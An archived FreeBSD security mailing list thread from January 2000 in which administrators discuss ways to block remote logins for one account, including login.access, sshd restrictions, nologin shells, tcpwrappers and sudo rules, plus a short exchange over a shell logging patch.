From owner-freebsd-security Sun Jan 16 2:39:52 2000 Delivered-To: freebsd-security@freebsd.org Received: from sblake.comcen.com.au (sblake.comcen.com.au [203.23.236.144]) by hub.freebsd.org (Postfix) with ESMTP id 7D67B1525C for ; Sun, 16 Jan 2000 02:39:46 -0800 (PST) (envelope-from aunty@sblake.comcen.com.au) Received: (from aunty@localhost) by sblake.comcen.com.au (8.9.3/8.9.3) id VAA15065 for freebsd-security@FreeBSD.ORG; Sun, 16 Jan 2000 21:41:00 +1100 (EST) (envelope-from aunty) Date: Sun, 16 Jan 2000 21:40:58 +1100 From: aunty To: freebsd-security@FreeBSD.ORG Subject: Re: Disallow remote login by regular user. Message-ID: <20000116214058.D14280@comcen.com.au> Mail-Followup-To: freebsd-security@FreeBSD.ORG References: <200001140145.UAA15101@cc942873-a.ewndsr1.nj.home.com> <20000114133222.A18079@rtfm.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20000114133222.A18079@rtfm.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 14, 2000 at 01:32:22PM -0500, Nathan Dorfman wrote: > On Thu, Jan 13, 2000 at 08:45:20PM -0500, Crist J. Clark wrote: > > Nicholas Brawn wrote, > > > Hi folks. I'm trying to ocnfigure my system so that I can disallow a > > > particular user account from being able to login remotely, and forcing > > > users to su to the account instead. How may I configure this? > > > > > > PS. Users may be using anything from telnet to ssh to login to the system, > > > so I need something that works across the board. > > > > For anything that is going to call login(1), you can use > > /etc/login.access(5). That pretty much eliminates stuff like telnet, > > rlogin, and console logins. For SSH, look at the 'AllowUsers' and > > 'DenyUsers' keywords for the sshd_conf file on the sshd(8) > > manpage. And of course, if ftp(1) is an issue, there is /etc/ftpusers > > as described in ftpd(8). > > You can make sshd use login(1). Set UseLogin to yes in sshd_config. This > is (at least sounds like) a good idea just so that login.access(5) and > login.conf(5) have their effect. I have a slightly similar requirement, an authentication server which must carry another machine's password files, but where no logins of any kind are allowed, except root on console and one user from one IP. Telnet and ftp are turned off, ssh is heavily restricted when active, and login.access is there as a backup in case someone "improves" inetd.conf from the console, a real possibility. (Yeah, I know, but moving faeces to higher ground is the reality I have to live with sometimes.) Shells aren't much help. Of course I can't alter the password file, and someone might change installed shells or /etc/shells in the future without realising the security implications. I've seen this happen in the past. The ftpusers file isn't much help in this case. I'd have to enter and maintain thousands of usernames or hundreds of groups. All I can think of as an additional ftp precaution is a cron job to find and delete ftpd. I'm also thinking about having a permanent /var/run/nologin file. Have I missed any other good tricks, particularly for ftp? -- Regards, -*Sue*- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 4:55:59 2000 Delivered-To: freebsd-security@freebsd.org Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [130.126.8.20]) by hub.freebsd.org (Postfix) with ESMTP id E6BB514CB2 for ; Sun, 16 Jan 2000 04:55:56 -0800 (PST) (envelope-from igor@alecto.physics.uiuc.edu) Received: (from igor@localhost) by alecto.physics.uiuc.edu (8.9.0/8.9.0) id GAA19043; Sun, 16 Jan 2000 06:55:46 -0600 (CST) From: Igor Roshchin Message-Id: <200001161255.GAA19043@alecto.physics.uiuc.edu> Subject: Re: Disallow remote login by regular user. In-Reply-To: <20000116214058.D14280@comcen.com.au> from "aunty" at "Jan 16, 2000 9:40:58 pm" To: aunty@comcen.com.au (aunty) Date: Sun, 16 Jan 2000 06:55:46 -0600 (CST) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > On Fri, Jan 14, 2000 at 01:32:22PM -0500, Nathan Dorfman wrote: > > On Thu, Jan 13, 2000 at 08:45:20PM -0500, Crist J. Clark wrote: > > > Nicholas Brawn wrote, > > > > Hi folks. I'm trying to ocnfigure my system so that I can disallow a > > > > particular user account from being able to login remotely, and forcing > > > > users to su to the account instead. How may I configure this? > > > > > > > > PS. Users may be using anything from telnet to ssh to login to the system, > > > > so I need something that works across the board. > > > > > > For anything that is going to call login(1), you can use > > > /etc/login.access(5). That pretty much eliminates stuff like telnet, > > > rlogin, and console logins. For SSH, look at the 'AllowUsers' and > > > 'DenyUsers' keywords for the sshd_conf file on the sshd(8) > > > manpage. And of course, if ftp(1) is an issue, there is /etc/ftpusers > > > as described in ftpd(8). > > > > You can make sshd use login(1). Set UseLogin to yes in sshd_config. This > > is (at least sounds like) a good idea just so that login.access(5) and > > login.conf(5) have their effect. > > I have a slightly similar requirement, an authentication server which > must carry another machine's password files, but where no logins of any > kind are allowed, except root on console and one user from one IP. > > Telnet and ftp are turned off, ssh is heavily restricted when active, and > login.access is there as a backup in case someone "improves" inetd.conf > from the console, a real possibility. (Yeah, I know, but moving faeces > to higher ground is the reality I have to live with sometimes.) > > Shells aren't much help. Of course I can't alter the password file, and > someone might change installed shells or /etc/shells in the future > without realising the security implications. I've seen this happen in > the past. > > The ftpusers file isn't much help in this case. I'd have to enter and > maintain thousands of usernames or hundreds of groups. All I can think > of as an additional ftp precaution is a cron job to find and delete ftpd. > > I'm also thinking about having a permanent /var/run/nologin file. > Have I missed any other good tricks, particularly for ftp? > > -- > I realize that everybody might have local rather weird situation. However, it sounds like you have some problems which are not related to the _system_ administration, but just to the _personnel_ administration. I mean that you are trying protect your machine from somebody else, changing its configuration (modification of /etc/shells, /etc/inetd.conf).. System can not be made fool-proof from one who has root-priveleges. :) Let me through in one more stone in this pile of solutions. Unless I missed it, nobody has mentioned it yet. One can configure tcpd (tcpwrappers) - "hosts.deny" (hosts.allow) file to disallow any external access from any host via any protocol, while allowing connections from specific hosts via specific protocols. While this does not do any per user access limitations, it still can help you or other folks asking earlier in armoring their boxes. Hope, this helps... Igor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 5:39:35 2000 Delivered-To: freebsd-security@freebsd.org Received: from sblake.comcen.com.au (sblake.comcen.com.au [203.23.236.144]) by hub.freebsd.org (Postfix) with ESMTP id BEA9715176 for ; Sun, 16 Jan 2000 05:39:28 -0800 (PST) (envelope-from aunty@sblake.comcen.com.au) Received: (from aunty@localhost) by sblake.comcen.com.au (8.9.3/8.9.3) id AAA15517; Mon, 17 Jan 2000 00:40:45 +1100 (EST) (envelope-from aunty) Date: Mon, 17 Jan 2000 00:40:45 +1100 From: aunty To: Igor Roshchin Cc: freebsd-security@FreeBSD.ORG Subject: Re: Disallow remote login by regular user. Message-ID: <20000117004045.G14280@comcen.com.au> Mail-Followup-To: Igor Roshchin , freebsd-security@FreeBSD.ORG References: <20000116214058.D14280@comcen.com.au> <200001161255.GAA19043@alecto.physics.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200001161255.GAA19043@alecto.physics.uiuc.edu> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Jan 16, 2000 at 06:55:46AM -0600, Igor Roshchin wrote: > > I realize that everybody might have local rather weird situation. > However, it sounds like you have some problems which are not related > to the _system_ administration, but just to the _personnel_ administration. Show me a site that doesn't :-) How many incidents are the result of a mistake or lack of insight/understanding or communication of the personnel? Enough to make optimistic predictions about future staff actions unwise. > I mean that you are trying protect your machine from somebody else, > changing its configuration (modification of /etc/shells, /etc/inetd.conf).. > > System can not be made fool-proof from one who has root-priveleges. :) Certainly :-) That doesn't mean one should stop offering extra precautions. Even if they don't deserve protection from themselves, their users do. For this particular machine, the security/convenience balance can afford to sway towards less convenient and more safe, so why not. > Let me through in one more stone in this pile of solutions. > Unless I missed it, nobody has mentioned it yet. > > One can configure tcpd (tcpwrappers) - "hosts.deny" (hosts.allow) file > to disallow any external access from any host via any protocol, > while allowing connections from specific hosts via specific protocols. > > While this does not do any per user access limitations, it still > can help you or other folks asking earlier in armoring their boxes. > > Hope, this helps... Thanks :-) -- Regards, -*Sue*- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 8:26:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from testbed.baileylink.net (testbed.baileylink.net [63.71.213.24]) by hub.freebsd.org (Postfix) with ESMTP id 6D08D14D98 for ; Sun, 16 Jan 2000 08:26:41 -0800 (PST) (envelope-from brad@testbed.baileylink.net) Received: (from brad@localhost) by testbed.baileylink.net (8.9.3/8.9.3) id KAA74519 for freebsd-security@freebsd.org; Sun, 16 Jan 2000 10:26:51 -0600 (CST) (envelope-from brad) Date: Sun, 16 Jan 2000 03:02:46 -0600 From: Brad Guillory To: Nicholas Brawn Subject: Re: Disallow remote login by regular user. Message-ID: <20000116030246.A11734@baileylink.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from ncb@zip.com.au on Fri, Jan 14, 2000 at 12:06:36PM +1100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nick, I don't know what your particular need is but one way to do this is to put an * in the password field of the password file (edit with vipw(8)), then use sudo to allow the users to execute commands as this user. I have seen other people suggest that you use /sbin/nologin at the shell, but if you try to su to the user with nologin as the shell you get an error message like this: bash$ sudo su bin This account is currently not available. If you want people to be able to su into this account, you can put them in a special group (not really necessary, but I find that it helps centralize my management tasks, then add the following lines in your /etc/sudoers file (use visudo(8)): #Allow users in the group foo to run commands as user bar on all computers %foo ALL=(bar) ALL Then you would have them "log into" the account with this command: bash$ sudo -s -u bar - or - bash$ sudo -u bar sh <--- or whatever their preferred shell is or they could execute commands as that user like this (this example they will edit bar's crontab: bash$ sudo -u bar cron -e You may want to change some of the defaults for the foo group with a line like this (untested) #Don't lecture the users in the foo group and let them get a shell #when they don't use any arguments Defaults:%foo !lecture, shell_noargs, passprompt="Your login password: " then they would be able to "log into" the account with a shorter version of the above command: bash$ sudo -u bar Well that last bit is supposed to work (the docs say so), but it doesn't, so they will still have to use the -s. (sorry, I am almost done with a patch for this bug, if you want it just let me know...) sudo is a very nice package with lots of logging and options, I did just notice that it is not part of the distribution, but in the ports tree here: ports/security/sudo. I have never used it but super, also in the security category of the ports tree provides similar functionality. If you have more questions just ask, BMG On Fri, Jan 14, 2000 at 12:06:36PM +1100, Nicholas Brawn wrote: > Hi folks. I'm trying to configure my system so that I can disallow a > particular user account from being able to login remotely, and forcing > users to su to the account instead. How may I configure this? > > PS. Users may be using anything from telnet to ssh to login to the system, > so I need something that works across the board. > > Cheers, > Nick > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 9:51:25 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 798AD14D03 for ; Sun, 16 Jan 2000 09:51:23 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 15267 invoked from network); 16 Jan 2000 12:53:31 -0000 Received: from hydrant.intranova.net (user45714@209.201.95.10) by blacklisted.intranova.net with SMTP; 16 Jan 2000 12:53:31 -0000 Date: Sun, 16 Jan 2000 12:48:43 -0500 (EST) From: Omachonu Ogali To: Nicholas Brawn Cc: freebsd-security@freebsd.org Subject: Re: Disallow remote login by regular user. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Change the login shell to /sbin/nologin or /nonexistant. Omachonu Ogali Intranova Networking Group On Fri, 14 Jan 2000, Nicholas Brawn wrote: > Hi folks. I'm trying to ocnfigure my system so that I can disallow a > particular user account from being able to login remotely, and forcing > users to su to the account instead. How may I configure this? > > PS. Users may be using anything from telnet to ssh to login to the system, > so I need something that works across the board. > > Cheers, > Nick > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 9:52:18 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 050D014F31 for ; Sun, 16 Jan 2000 09:52:16 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 15768 invoked from network); 16 Jan 2000 12:54:24 -0000 Received: from hydrant.intranova.net (user71079@209.201.95.10) by blacklisted.intranova.net with SMTP; 16 Jan 2000 12:54:24 -0000 Date: Sun, 16 Jan 2000 12:49:36 -0500 (EST) From: Omachonu Ogali To: David Wolfskill Cc: freebsd-security@FreeBSD.ORG, ncb@zip.com.au Subject: Re: Disallow remote login by regular user. In-Reply-To: <200001140140.RAA49056@pau-amma.whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org That wouldn't really help because the users need to enter the password of the user they are su'ing to. Omachonu Ogali Intranova Networking Group On Thu, 13 Jan 2000, David Wolfskill wrote: > >Date: Fri, 14 Jan 2000 12:06:36 +1100 (EST) > >From: Nicholas Brawn > > >Hi folks. I'm trying to ocnfigure my system so that I can disallow a > >particular user account from being able to login remotely, and forcing > >users to su to the account instead. How may I configure this? > > >PS. Users may be using anything from telnet to ssh to login to the system, > >so I need something that works across the board. > > I find that using '*' as the encrypted password appears to do the job > for me. > > Cheers, > david > -- > David Wolfskill dhw@whistle.com UNIX System Administrator > voice: (650) 577-7158 pager: (888) 347-0197 FAX: (650) 372-5915 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 9:55:48 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 0E7C114FC2 for ; Sun, 16 Jan 2000 09:55:46 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 17986 invoked from network); 16 Jan 2000 12:57:54 -0000 Received: from hydrant.intranova.net (user21945@209.201.95.10) by blacklisted.intranova.net with SMTP; 16 Jan 2000 12:57:54 -0000 Date: Sun, 16 Jan 2000 12:53:06 -0500 (EST) From: Omachonu Ogali To: Wes Peters Cc: Alexey Zelkin , David Wolfskill , freebsd-security@FreeBSD.ORG, ncb@zip.com.au Subject: Re: Disallow remote login by regular user. In-Reply-To: <387F4D7C.3C72D334@softweyr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org That isn't even needed, just set the shell to a nonexistant shell. So it won't work with ftp (ftp requires a valid shell in /etc/shells), ssh (ssh follows the same suit as ftp), and telnet will probably let them login and immediately log them out because it's going to return an error after executing the shell. Omachonu Ogali Intranova Networking Group On Fri, 14 Jan 2000, Wes Peters wrote: > Alexey Zelkin wrote: > > > > hi, > > > > On Thu, Jan 13, 2000 at 05:40:56PM -0800, David Wolfskill wrote: > > > > > >Hi folks. I'm trying to ocnfigure my system so that I can disallow a > > > >particular user account from being able to login remotely, and forcing > > > >users to su to the account instead. How may I configure this? > > > > > > >PS. Users may be using anything from telnet to ssh to login to the system, > > ^^^ > > > >so I need something that works across the board. > > > > > > I find that using '*' as the encrypted password appears to do the job > > > for me. > > > > It will not fix a problem if user if user have ~/.ssh/identity file :) > > > > Simplest and dirty way to fix such problems is just changing user shell > > to unexistent one or something like /bin/date :) > > Or /bin/nologin, or install the no-login package/port and use /usr/local/bin/ > nologin, which will log attempts in syslog for you. > > > -- > "Where am I, and what am I doing in this handbasket?" > > Wes Peters Softweyr LLC > wes@softweyr.com http://softweyr.com/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 9:59:26 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id B747A14FC9 for ; Sun, 16 Jan 2000 09:59:19 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 20370 invoked from network); 16 Jan 2000 13:01:27 -0000 Received: from hydrant.intranova.net (user93341@209.201.95.10) by blacklisted.intranova.net with SMTP; 16 Jan 2000 13:01:27 -0000 Date: Sun, 16 Jan 2000 12:56:38 -0500 (EST) From: Omachonu Ogali To: cjclark@home.com Cc: Dan Harnett , Nicholas Brawn , freebsd-security@FreeBSD.ORG Subject: Re: Disallow remote login by regular user. In-Reply-To: <200001152233.RAA53004@cc942873-a.ewndsr1.nj.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Once again...make the login shell nonexistant, so if an attacker manages to get the password to that account they get no visual notice that they have the correct password for that account. Omachonu Ogali Intranova Networking Group On Sat, 15 Jan 2000, Crist J. Clark wrote: > Dan Harnett wrote, > > Hello, > > > > You could also set this particular user's shell to /sbin/nologin and make the > > others use the -m option to su. > > But if you do this, remember, > > -m Leave the environment unmodified. The invoked shell is your lo- > gin shell, and no directory changes are made. As a security pre- > caution, if the target user's shell is a non-standard shell (as > defined by getusershell(3)) and the caller's real uid is non-ze- > ro, su will fail. > > You have to add '/sbin/nologin' to /etc/shells. > -- > Crist J. Clark cjclark@home.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 10: 0:51 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 77E7414ED2 for ; Sun, 16 Jan 2000 10:00:48 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 21297 invoked from network); 16 Jan 2000 13:02:53 -0000 Received: from hydrant.intranova.net (user69151@209.201.95.10) by blacklisted.intranova.net with SMTP; 16 Jan 2000 13:02:53 -0000 Date: Sun, 16 Jan 2000 12:58:05 -0500 (EST) From: Omachonu Ogali To: Jonathan Fortin Cc: cjclark@home.com, Dan Harnett , Nicholas Brawn , freebsd-security@FreeBSD.ORG Subject: Re: Disallow remote login by regular user. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If you add it to /etc/shells then it allows an user to login via FTP since the FTP daemon checks to see if the users shell returned by getpwnam()/getpwuid() exists in /etc/shells, if it does then it allows a successful connection/login, and this is what he wants to prevent. Omachonu Ogali Intranova Networking Group On Sat, 15 Jan 2000, Jonathan Fortin wrote: > > Hello, > > You could also set the users shell to /bin/false and add it in /etc/shells > and use the -m option. > > > jonf@revelex.com > > On Sat, 15 Jan 2000, Crist J. Clark wrote: > > > Dan Harnett wrote, > > > Hello, > > > > > > You could also set this particular user's shell to /sbin/nologin and make the > > > others use the -m option to su. > > > > But if you do this, remember, > > > > -m Leave the environment unmodified. The invoked shell is your lo- > > gin shell, and no directory changes are made. As a security pre- > > caution, if the target user's shell is a non-standard shell (as > > defined by getusershell(3)) and the caller's real uid is non-ze- > > ro, su will fail. > > > > You have to add '/sbin/nologin' to /etc/shells. > > -- > > Crist J. Clark cjclark@home.com > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 10: 7:32 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 18DBA14D03 for ; Sun, 16 Jan 2000 10:07:31 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 25596 invoked from network); 16 Jan 2000 13:09:39 -0000 Received: from hydrant.intranova.net (user69432@209.201.95.10) by blacklisted.intranova.net with SMTP; 16 Jan 2000 13:09:39 -0000 Date: Sun, 16 Jan 2000 13:04:52 -0500 (EST) From: Omachonu Ogali To: freebsd-security@freebsd.org Subject: Parent Logging Patch for sh(1) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org After applied, sh(1) will log the parent process ID and name that executed it into syslog. Available from http://tribune.intranova.net/archives/sh-log.patch Omachonu Ogali Intranova Networking Group To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 12: 4:12 2000 Delivered-To: freebsd-security@freebsd.org Received: from pluto.psn.net (pluto.psn.net [207.211.58.12]) by hub.freebsd.org (Postfix) with ESMTP id AA1C114BE6 for ; Sun, 16 Jan 2000 12:04:10 -0800 (PST) (envelope-from will@shadow.blackdawn.com) Received: from 22-084.008.popsite.net ([209.69.197.84] helo=shadow.blackdawn.com) by pluto.psn.net with esmtp (PSN Internet Service 3.12 #1) id 129vu7-0001ur-00; Sun, 16 Jan 2000 13:04:08 -0700 Received: (from will@localhost) by shadow.blackdawn.com (8.9.3/8.9.3) id PAA48769; Sun, 16 Jan 2000 15:03:58 -0500 (EST) (envelope-from will) Message-ID: X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sun, 16 Jan 2000 15:03:58 -0500 (EST) Reply-To: Will Andrews From: Will Andrews To: Omachonu Ogali Subject: RE: Parent Logging Patch for sh(1) Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 16-Jan-00 Omachonu Ogali wrote: > After applied, sh(1) will log the parent process ID and name that executed > it into syslog. Available from > http://tribune.intranova.net/archives/sh-log.patch Is there any (valid) reason why you posted this here? -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 13:14:59 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.wzrd.com (mail.wzrd.com [206.99.165.3]) by hub.freebsd.org (Postfix) with ESMTP id 506DB14CE9 for ; Sun, 16 Jan 2000 13:14:56 -0800 (PST) (envelope-from danh@wzrd.com) Received: by mail.wzrd.com (Postfix, from userid 91) id 63CE65D07D; Sun, 16 Jan 2000 16:14:55 -0500 (EST) Subject: Re: Disallow remote login by regular user. In-Reply-To: from Omachonu Ogali at "Jan 16, 2000 12:56:38 pm" To: oogali@intranova.net (Omachonu Ogali) Date: Sun, 16 Jan 2000 16:14:55 -0500 (EST) Cc: freebsd-security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2018 Message-Id: <20000116211455.63CE65D07D@mail.wzrd.com> From: danh@wzrd.com (Dan Harnett) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Once again...make the login shell nonexistant, so if an attacker manages > to get the password to that account they get no visual notice that they > have the correct password for that account. I'm not sure where you got that information from, but it appears to be incorrect. Unless .hushlogin exists and/or the hushlogin capability has been specified for that user, the copyright message, last login, and motd will still be displayed. And you will get a similiar message as the following: login: /nonexistent: No such file or directory As a note, just leaving the shell blank won't solve that either. That would be visual notice in my book. /sbin/nologin is a Bourne shell script. The message it prints can be changed to 'Login incorrect.'. Also the .hushlogin file can be put into this user's home directory. That way no motd or anything will be printed. You'll notice that doesn't quite give the normal behavior either. Dan Harnett > Omachonu Ogali > Intranova Networking Group > > On Sat, 15 Jan 2000, Crist J. Clark wrote: > > > Dan Harnett wrote, > > > Hello, > > > > > > You could also set this particular user's shell to /sbin/nologin and make the > > > others use the -m option to su. > > > > But if you do this, remember, > > > > -m Leave the environment unmodified. The invoked shell is your lo- > > gin shell, and no directory changes are made. As a security pre- > > caution, if the target user's shell is a non-standard shell (as > > defined by getusershell(3)) and the caller's real uid is non-ze- > > ro, su will fail. > > > > You have to add '/sbin/nologin' to /etc/shells. > > -- > > Crist J. Clark cjclark@home.com > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 14:13:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 5AE7815086 for ; Sun, 16 Jan 2000 14:13:27 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 76203 invoked from network); 16 Jan 2000 17:15:35 -0000 Received: from hydrant.intranova.net (user62291@209.201.95.10) by blacklisted.intranova.net with SMTP; 16 Jan 2000 17:15:35 -0000 Date: Sun, 16 Jan 2000 17:10:46 -0500 (EST) From: Omachonu Ogali To: Will Andrews Cc: freebsd-security@FreeBSD.ORG Subject: RE: Parent Logging Patch for sh(1) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I thought it would benefit those who are security minded. Why shouldn't I have posted it? Omachonu Ogali Intranova Networking Group On Sun, 16 Jan 2000, Will Andrews wrote: > On 16-Jan-00 Omachonu Ogali wrote: > > After applied, sh(1) will log the parent process ID and name that executed > > it into syslog. Available from > > http://tribune.intranova.net/archives/sh-log.patch > > Is there any (valid) reason why you posted this here? > > -- > Will Andrews > GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- > ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ > G++>+++ e->++++ h! r-->+++ y? > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 14:14:22 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 80A9515162 for ; Sun, 16 Jan 2000 14:14:18 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 76716 invoked from network); 16 Jan 2000 17:16:25 -0000 Received: from hydrant.intranova.net (user91211@209.201.95.10) by blacklisted.intranova.net with SMTP; 16 Jan 2000 17:16:25 -0000 Date: Sun, 16 Jan 2000 17:11:36 -0500 (EST) From: Omachonu Ogali To: Dan Harnett Cc: freebsd-security@freebsd.org Subject: Re: Disallow remote login by regular user. In-Reply-To: <20000116211455.63CE65D07D@mail.wzrd.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thanks for the correction. :) Omachonu Ogali Intranova Networking Group On Sun, 16 Jan 2000, Dan Harnett wrote: > > Once again...make the login shell nonexistant, so if an attacker manages > > to get the password to that account they get no visual notice that they > > have the correct password for that account. > > I'm not sure where you got that information from, but it appears to be > incorrect. Unless .hushlogin exists and/or the hushlogin capability has been > specified for that user, the copyright message, last login, and motd will still > be displayed. And you will get a similiar message as the following: > > login: /nonexistent: No such file or directory > > As a note, just leaving the shell blank won't solve that either. > > That would be visual notice in my book. /sbin/nologin is a Bourne shell script. > The message it prints can be changed to 'Login incorrect.'. Also the .hushlogin > file can be put into this user's home directory. That way no motd or anything > will be printed. You'll notice that doesn't quite give the normal behavior > either. > > Dan Harnett > > > Omachonu Ogali > > Intranova Networking Group > > > > On Sat, 15 Jan 2000, Crist J. Clark wrote: > > > > > Dan Harnett wrote, > > > > Hello, > > > > > > > > You could also set this particular user's shell to /sbin/nologin and make the > > > > others use the -m option to su. > > > > > > But if you do this, remember, > > > > > > -m Leave the environment unmodified. The invoked shell is your lo- > > > gin shell, and no directory changes are made. As a security pre- > > > caution, if the target user's shell is a non-standard shell (as > > > defined by getusershell(3)) and the caller's real uid is non-ze- > > > ro, su will fail. > > > > > > You have to add '/sbin/nologin' to /etc/shells. > > > -- > > > Crist J. Clark cjclark@home.com > > > > > > > > > To 